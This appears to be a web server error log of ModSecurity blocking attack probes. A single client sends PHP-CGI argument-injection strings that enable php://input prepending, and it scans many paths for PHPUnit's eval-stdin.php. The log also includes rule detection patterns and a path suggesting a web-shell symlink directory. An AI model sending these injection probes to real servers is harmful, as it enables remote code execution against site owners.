[Mon Oct 26 17:05:02.572103 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_AfnKvFNFM41eF9IjmkgAAADc"]
[Mon Oct 26 17:05:03.205913 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "at_Af3KvFNFM41eF9IjmkwAAADc"]
[Mon Oct 26 17:05:03.206032 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "at_Af3KvFNFM41eF9IjmkwAAADc"]
[Mon Oct 26 17:05:03.206650 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "at_Af3KvFNFM41eF9IjmkwAAADc"]
[Mon Oct 26 17:05:03.208118 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_Af3KvFNFM41eF9IjmkwAAADc"]
[Mon Oct 26 17:05:03.753840 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at_Af3KvFNFM41eF9IjmlAAAADc"]
[Mon Oct 26 17:05:03.753948 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at_Af3KvFNFM41eF9IjmlAAAADc"]
[Mon Oct 26 17:05:03.767225 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "at_Af3KvFNFM41eF9IjmlAAAADc"]
[Mon Oct 26 17:05:03.768382 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_Af3KvFNFM41eF9IjmlAAAADc"]
[Mon Oct 26 17:05:04.092847 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 44.223.193.255:4654] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:05:04.319321 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at_AgHKvFNFM41eF9IjmlQAAADc"]
[Mon Oct 26 17:05:04.319878 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at_AgHKvFNFM41eF9IjmlQAAADc"]
[Mon Oct 26 17:05:04.320873 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_AgHKvFNFM41eF9IjmlQAAADc"]
[Mon Oct 26 17:05:04.807254 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at_AgHKvFNFM41eF9IjmlgAAADc"]
[Mon Oct 26 17:05:04.807676 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at_AgHKvFNFM41eF9IjmlgAAADc"]
[Mon Oct 26 17:05:04.808531 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_AgHKvFNFM41eF9IjmlgAAADc"]
[Mon Oct 26 17:05:05.562165 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at_AgXKvFNFM41eF9IjmlwAAADc"]
[Mon Oct 26 17:05:05.562601 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at_AgXKvFNFM41eF9IjmlwAAADc"]
[Mon Oct 26 17:05:05.563511 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_AgXKvFNFM41eF9IjmlwAAADc"]
[Mon Oct 26 17:05:06.177500 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at_AgnKvFNFM41eF9IjmmAAAADc"]
[Mon Oct 26 17:05:06.177848 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at_AgnKvFNFM41eF9IjmmAAAADc"]
[Mon Oct 26 17:05:06.178640 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_AgnKvFNFM41eF9IjmmAAAADc"]
[Mon Oct 26 17:05:07.212360 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "at_Ag3KvFNFM41eF9IjmmQAAADc"]
[Mon Oct 26 17:05:07.212779 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "at_Ag3KvFNFM41eF9IjmmQAAADc"]
[Mon Oct 26 17:05:07.213659 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_Ag3KvFNFM41eF9IjmmQAAADc"]
[Mon Oct 26 17:05:07.748043 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at_Ag3KvFNFM41eF9IjmmgAAADc"]
[Mon Oct 26 17:05:07.748918 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at_Ag3KvFNFM41eF9IjmmgAAADc"]
[Mon Oct 26 17:05:07.750527 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_Ag3KvFNFM41eF9IjmmgAAADc"]
[Mon Oct 26 17:05:08.365067 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at_AhHKvFNFM41eF9IjmmwAAADc"]
[Mon Oct 26 17:05:08.365535 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at_AhHKvFNFM41eF9IjmmwAAADc"]
[Mon Oct 26 17:05:08.366550 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_AhHKvFNFM41eF9IjmmwAAADc"]
[Mon Oct 26 17:05:09.081835 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at_AhXKvFNFM41eF9IjmnAAAADc"]
[Mon Oct 26 17:05:09.082309 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at_AhXKvFNFM41eF9IjmnAAAADc"]
[Mon Oct 26 17:05:09.083186 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_AhXKvFNFM41eF9IjmnAAAADc"]
[Mon Oct 26 17:05:09.684298 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at_AhXKvFNFM41eF9IjmnQAAADc"]
[Mon Oct 26 17:05:09.684906 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at_AhXKvFNFM41eF9IjmnQAAADc"]
[Mon Oct 26 17:05:09.685912 2026] [security2:error] [pid 3084056:tid 3084056] [client 103.159.51.70:37086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_AhXKvFNFM41eF9IjmnQAAADc"]
[Mon Oct 26 17:05:11.747172 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 98.82.63.147:38435] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:05:15.926885 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 98.83.178.66:31381] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:05:18.899625 2026] [core:error] [pid 3084023:tid 3084023] [client 16.216.88.216:2048] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Mon Oct 26 17:05:18.899680 2026] [core:error] [pid 3084023:tid 3084023] [client 16.216.88.216:2048] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Mon Oct 26 17:05:19.897353 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 23.23.212.212:55212] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:05:31.943359 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.209.174.110:36079] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:05:36.007750 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 44.213.36.21:9176] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:05:41.569883 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 185.191.171.7:16836] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/usersize
